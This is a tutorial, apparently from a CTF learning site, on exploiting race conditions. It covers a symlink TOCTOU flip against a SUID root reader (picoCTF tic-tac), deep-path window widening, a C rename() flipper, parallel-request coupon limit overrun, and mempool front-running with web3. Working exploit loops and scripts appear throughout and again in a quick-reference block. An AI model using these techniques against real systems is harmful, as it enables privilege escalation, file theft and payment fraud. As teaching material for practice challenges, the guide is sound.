Race Conditions and TOCTOU for CTF: Winning the Window Between Check and Use

Introduction

A race condition is not a memory bug and not a logic bug. It is a bug in when. Two operations that the author assumed were glued together are actually two separate moments, and you get to change the world in between them. In a CTF this usually means one of two shell loops:

# Flip a symlink between a program's open() and its ownership check
taskset -c 1 bash -c 'while :; do ln -sf /tmp/mine link; ln -sf /flag link; done' &
timeout 30s bash -c 'while ! ./reader link | grep -m1 picoCTF; do :; done'

That is the whole attack on a file race. The web version is the same idea with a different clock: send twenty copies of one request so they land inside the same millisecond, and the balance check that was supposed to run once runs twenty times against the same stale number. Everything else in this guide is about the part nobody writes down, which is how to widen a window that starts out roughly fifty microseconds wide.

A race is not won by being fast. It is won by making the window bigger than the attacker's reaction time, and then taking an unlimited number of shots at it.

I like these bugs more than I probably should. Every other exploit class asks you to understand a data structure. This one asks you to understand a schedule, and the schedule belongs to the kernel, not to the program you are attacking. The first time a symlink race landed for me, it landed on attempt 40,000-something, out of a loop I had left running while I went to read something else. That is a completely normal way to win one of these, and it is worth saying out loud, because the failure mode for beginners is trying twice, seeing nothing, and concluding the technique does not work.

Three ways to read this

The anatomy of a race

Every exploitable race has the same four parts. If you can name all four, you have a plan. If you cannot name one of them, that is the part to go looking for.

The name for this shape is TOCTOU, time-of-check to time-of-use, and it is catalogued as CWE-367. The insight that makes it exploitable is easy to miss on a first read: a path is not a file. A path is a question you ask the kernel, and the kernel answers it fresh every single time. Two syscalls that mention the same string are two independent lookups, and nothing carries the answer from the first to the second.

Spotting one in source

CTF race conditions come with source far more often than not, because a race with no source is a nightmare to distinguish from a broken exploit. So read for the pattern rather than for the vulnerability. These are the shapes that keep appearing:

// C: the textbook version. access() uses the real uid, open() uses the effective one.
if (access(path, R_OK) == 0) {      // check, as you
    int fd = open(path, O_RDONLY);  // use, as root
 
// C: the inverted version. Same bug, reads innocently.
std::ifstream f(path);              // use, as root
stat(path, &st);                    // check, one lookup later
if (st.st_uid != getuid()) return;
 
// Python: an existence test that decides whether to create
if not os.path.exists(p):
    open(p, 'w').write(secret)
 
// Anything: read a number, decide, write the number back
bal = db.get_balance(uid)
if bal >= amount:
    db.set_balance(uid, bal - amount)

The last one is the money shape, and it is the one worth memorising because it does not look like a filesystem bug at all. Read, decide, write. Nothing in those three lines holds a lock, so twenty simultaneous copies all read the same balance, all decide yes, and all write back the same decremented value. A single coupon gets redeemed twenty times. Portswigger calls that family limit overrun, and it is the most common web race in the wild by a distance.

If the binary is stripped and there is no source, ltrace is the fastest way to see the shape, because it prints library calls in order and the gap between two of them is the entire vulnerability. strace shows raw syscalls, which is more truthful and less readable. Run both. The one that makes the pattern obvious in three lines is the right one for that binary, and which one that is depends on whether the check lives in libc or in the kernel.

Widening the window

Here is the part that separates people who land these from people who conclude the challenge is broken. You do not have to hit a 50 microsecond window by reflex. You get to make it wider, and there are five reliable ways to do it.

The interesting question is never "can I react in 50 microseconds". It is "how do I take 200,000 shots at 50 microseconds without getting bored".

Path nesting deserves more than a table row, because it is the one that turns a race you cannot hit into one you can, and because the obvious way to build it does not work. Each component of a path is a separate directory lookup, so a deep path makes every lookup expensive, on both sides of the window.

Measured on an ordinary Linux box, averaged over 3,000 calls: stat() on a file at the end of a 2,000 component chain takes 145 microseconds, against 1.3 microseconds for the same file one directory down. That is a 114-fold stretch, and it is applied to the check and to the use, so the gap between them grows with it. A window you had no chance of hitting at 50 microseconds is suddenly wider than a scheduler timeslice.

# The obvious version does not work: a single 6,000-character path exceeds
# PATH_MAX and mkdir gives up partway with 'File name too long'.
mkdir -p $(python3 -c "print('a/'*3000)")     # File name too long
 
# Build it incrementally instead. Each mkdir only ever sees a one-character
# relative name, so the limit never applies while building.
cd /tmp/deep && for i in $(seq 1 2000); do mkdir a && cd a; done
echo secret > target
 
# The path you hand the victim is still capped at PATH_MAX (4096 bytes),
# so ~2,000 components is the practical ceiling. That is plenty.
python3 -c "import os; print(len(os.getcwd()))"   # 4009

The ceiling is worth knowing before you spend twenty minutes on it. PATH_MAX is 4096 bytes for a path handed to a syscall, so two thousand components is the end of the road no matter how you build the chain. Symlink chains do not get you past it either: the kernel gives up after forty link resolutions with ELOOP.

The symlink race, worked

tic-tac from picoCTF 2023 is the cleanest teaching example of this bug I know of, because the vulnerable code is four lines and every one of them looks reasonable.

std::ifstream file(argv[1]);      // opens as effective uid (root), follows the symlink
 
struct stat statbuf;
stat(argv[1], &statbuf);          // second, independent path lookup
if (statbuf.st_uid != getuid())   // ownership decided from the second lookup
    return 1;                     // ... about a file it may no longer be

The binary is set-user-ID root, so the ifstream constructor can open anything. The author knew that, which is why the ownership check is there. What the author missed is that stat() resolves argv[1] again from scratch. Point the program at a symlink and you control what each of those two lookups finds.

# 1. Two targets: one you own, one you want.
echo dummy > /tmp/dummy.txt
ln -sf /tmp/dummy.txt /tmp/link
 
# 2. The flipper, on its own core, doing nothing but swapping the link.
taskset -c 1 bash -c 'while :; do
  ln -sf /flag       /tmp/link
  ln -sf /tmp/dummy.txt /tmp/link
done' &
 
# 3. The victim, on a different core, bounded so it cannot spin forever.
taskset -c 0 timeout 60s bash -c \
  'while ! ./txtreader /tmp/link 2>/dev/null | grep -m1 picoCTF; do :; done'

The win condition is a specific interleaving: the link points at /flag when ifstream runs, and at your dummy file when stat() runs. Every other ordering fails harmlessly and costs one loop iteration. That asymmetry is what makes races practical. A failed attempt is free, so you can afford a hit rate of one in ten thousand.

flipper                          victim
-------                          ------
rename(link -> /flag)
                                 ifstream open(link)  -> /flag   (as root)
rename(link -> /tmp/dummy)  <=== the win happens here
                                 stat(link)           -> /tmp/dummy (you own it)
                                 check passes, contents of /flag printed

Web races and limit overrun

The web version of this bug has no symlinks in it, and it is worth learning separately because the window is created differently. On the filesystem you race two syscalls. On the web you race two requests, and the window is however long the server takes between reading state and writing it back.

# The vulnerable handler, in any language
coupon = db.query('SELECT uses FROM coupons WHERE code=?', code)
if coupon.uses < 1:
    return error('already used')
apply_discount(cart)
db.query('UPDATE coupons SET uses = uses - 1 WHERE code=?', code)

Send that request once and it behaves. Send it twenty times so they all arrive while the first SELECT is still in flight, and twenty of them see uses = 1, twenty of them apply the discount, and the counter ends up at minus nineteen. The challenge equivalent is a shop where the flag costs more than your starting balance and the only way to afford it is to redeem the same voucher enough times.

Getting requests to arrive together is the whole skill, and there is a specific technique for it. HTTP/1.1 pipelining suffers from network jitter: even on a fast link, twenty requests sent back to back can arrive milliseconds apart, which is an eternity next to a database round trip. The fix is to send every request except its final byte, wait, then release all the final bytes in one packet. PortSwigger named this the single-packet attack, and on HTTP/2 it is easier still, because multiple requests can be multiplexed into one TCP packet by design.

# Burp Suite: send to Repeater, group the tabs, then
#   'Send group in parallel (single-packet attack)'
 
# Or with Python, the crude but effective version:
import threading, requests
def fire(): requests.post(URL, data={'code': 'FLAG10'}, cookies=C)
ts = [threading.Thread(target=fire) for _ in range(30)]
for t in ts: t.start()
for t in ts: t.join()

There is a second web family worth knowing, and it is sneakier: races that move an object between states rather than counting down. Register an account and confirm the email at the same instant, so the confirmation applies to an address you changed a millisecond later. Upload a file and request it while the validator is still running, so the web server serves the payload before the scanner deletes it. Both of those are the same bug as the coupon, with the counter replaced by a state machine. If a challenge has an upload that gets deleted after validation, that gap is not an inconvenience, it is the intended solution. More on that flavour in file upload exploitation.

Signals, forks, and threads

Local races are not only about files. Three other windows show up in binary exploitation challenges often enough to be worth naming.

Signal handler reentrancy. A handler that runs while the main program is halfway through a data structure sees that structure mid-edit. The classic version is a handler that calls free() on a pointer the main path is also freeing, giving you a double free without ever touching the heap logic directly. The kernel documents which functions are safe to call from a handler in signal-safety(7), and the list is much shorter than people expect. If a challenge installs a handler for SIGALRM and also manages a linked list, send yourself alarms until the two collide. Where that goes next is use-after-free territory.

Fork windows. A forking server hands every connection a copy of the same address space, which means every connection gets the same stack canary, the same heap layout, and the same ASLR offsets. That is not a race in the TOCTOU sense, but it is a timing property you exploit the same way: with unlimited attempts against an unchanging target. Byte-at-a-time canary brute force only works because of it, and the mechanics are in stack canary bypass.

Shared temporary files. Any program that builds a filename in /tmp from a predictable string, then opens it without O_EXCL, is handing you a pre-created symlink slot. You do not even need to race it: create the link before the program starts and it will write through your link on the first try. This is the lazy cousin of the symlink race and it still finds bugs in real software, usually in install scripts and log rotation.

Front-running a transaction

The newest place this bug family shows up in picoCTF is the blockchain category, and it is a clean illustration because the window is not measured in microseconds. It is measured in blocks, and it is public.

Front_Running gives you a contract that releases a flag to whoever submits the right pre-image, and a bot that already knows the answer but submits it with a stingy gas price. Because pending transactions sit in a public mempool before they are mined, you can read the bot's calldata, decode the argument, and submit the same call with a higher gas price. Miners order transactions by fee, so yours lands first.

from web3 import Web3
from eth_utils import keccak
from eth_abi import decode as abi_decode
 
sel = keccak(b'unlock(string)')[:4].hex()   # compute it, never hardcode it
pending = w3.eth.filter('pending')
for h in pending.get_new_entries():
    tx = w3.eth.get_transaction(h)
    data = tx['input'].hex().lstrip('0x')
    if tx['to'] and tx['to'].lower() == TARGET and data.startswith(sel):
        (secret,) = abi_decode(['string'], bytes.fromhex(data[8:]))
        # resubmit the same call with a much higher gasPrice

The structure is identical to the coupon race: a value is committed publicly before the action that depends on it, and you act inside the gap. What is different is that the gap is a design property of the system rather than an oversight, which is why front-running on public chains is an economic problem rather than a patchable bug. That is a strange and slightly wonderful thing about this category, and it generalises to the rest of smart contract security covered in smart contract CTF bugs.

Writing an honest harness

The reason race exploitation feels unreliable is that most people write a harness that cannot tell success from silence. Three rules fix that, and they cost about four lines.

When a bash loop is the bottleneck, drop to C. Every iteration of the shell version forks a process, which costs hundreds of microseconds and may be longer than the window you are chasing. A ten line C program calling rename(2) in a loop does millions of flips a second, and it really is ten lines.

#include <stdio.h>
int main(void) {
    for (;;) { rename("a", "link"); rename("b", "link"); }
}
 
# a -> /tmp/dummy.txt and b -> /flag, both created once with ln -s
gcc -O2 -o flip flip.c && taskset -c 1 ./flip &

How they get fixed

Knowing the fix is the fastest way to recognise the bug, because the fix tells you what the vulnerable version is missing. Every one of these collapses two lookups into one operation.

Notice the pattern in the right-hand column. None of them add a lock, a mutex, or a sleep. They all take two operations that shared a name and rewrite them as one operation that shares a handle. That is the real lesson of this whole bug class, and it is the thing I would want a reader to take away even if they never solve a race challenge: names are re-resolved, handles are not.

picoCTF challenges

Races are rarer in picoCTF than stack overflows, which is exactly why they catch people out. These are the ones where timing is the intended solution or a close cousin of it.

Two is not many, and that is the honest state of it: picoCTF has never shipped a limit-overrun web challenge, so the coupon technique above is one you will practise somewhere else and bring back. Worth learning anyway, because the giveaway phrases show up constantly in other events: "only once", "first come first served", and "the file is deleted after checking" all describe a window. The wider category ladder is in the binary exploitation roadmap and the web exploitation roadmap, and the privilege escalation angle on SUID binaries continues in Linux privilege escalation.

Quick reference

# Find the candidates
find / -perm -4000 -type f 2>/dev/null        # SUID binaries
ltrace ./target /tmp/probe 2>&1 | head -30    # see check and use in order
strace -f -e trace=file ./target /tmp/probe   # same, at syscall level
 
# Local symlink race
echo x > /tmp/dummy; ln -sf /tmp/dummy /tmp/link
taskset -c 1 bash -c 'while :; do ln -sf /flag /tmp/link; ln -sf /tmp/dummy /tmp/link; done' &
taskset -c 0 timeout 60s bash -c 'while ! ./target /tmp/link | grep -m1 picoCTF; do :; done'
 
# Widen the window when the loop is not landing
for i in $(seq 1 2000); do mkdir a && cd a; done   # deep path, 114x slower lookups
gcc -O2 -o flip flip.c                        # rename() loop instead of fork-per-flip
 
# Web limit overrun
#   Burp: Repeater > group tabs > Send group in parallel (single-packet attack)
python3 -c "import threading,requests;
ts=[threading.Thread(target=lambda: requests.post(U,data=D,cookies=C)) for _ in range(30)];
[t.start() for t in ts]; [t.join() for t in ts]"
 
# Confirm before you debug
#   Did the loop actually run? Count iterations.
#   Did a win change the state? Restart the instance and retry.

Related reading: Linux privilege escalation for what to do with a SUID binary once you own it, Burp Suite for the single-packet attack, file upload exploitation for validate-then-delete windows, authentication bypass and IDOR for state machines that can be raced, and Linux CLI for CTF for the shell plumbing every harness above is built from.

Sources and further reading

Every syscall behaviour described above is documented by the manual page for that call. Where the technique is newer than the manual, the original research is cited instead.

• CWE-367, time-of-check to time-of-use is the formal definition of the bug class, and its list of observed examples is a useful reminder of how ordinary the affected software is: package managers, cron, and backup tools rather than exotic targets.
• access(2) says it plainly in its own notes: using it to check permissions before opening a file creates a security hole, because the file can change between the two calls. The manual has been telling people not to do this for decades.
• rename(2) is the atomicity guarantee the flipper loop depends on, and open(2) documents O_NOFOLLOW and O_EXCL, which are the flags whose absence makes the target racy in the first place.
• Smashing the state machine is where the single-packet attack was published, along with the observation that most web races are not counter bugs but state machine bugs. It is the reference that changed how I look at multi-step web flows.
• RFC 9113 for why HTTP/2 multiplexing makes request synchronisation easy, and signal-safety(7) for the short list of functions a handler may call, which is the fastest way to see why signal races exist at all.